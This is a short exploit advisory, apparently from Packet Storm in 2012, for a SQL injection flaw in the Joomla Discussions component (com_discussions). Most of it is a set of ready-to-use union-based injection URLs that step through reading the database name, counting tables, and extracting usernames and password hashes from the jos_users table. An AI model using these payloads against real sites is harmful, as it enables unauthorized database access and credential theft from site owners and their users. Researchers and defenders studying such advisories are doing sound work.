# # Title : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability # Author : Red Security TEAM # Date : 17/01/2012 # Risk : High # Software : http://extensions.joomla.org/extensions/communication/forum/13560 # Tested On : CentOS # Contact : Info [ 4t ] RedSecurity [ d0t ] COM # Home : http://RedSecurity.COM # # Exploit : # http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=[SQLi] # # Example : # # 1. [Get Database Name] # http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a # 2. [Get Tables Name] # http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F7574706F7374715F6F65646576)--+a # 3. [Get Username] # http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.username as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a # 4. [Get Password] # http://server/http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.password as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a #
As published at Packet Storm
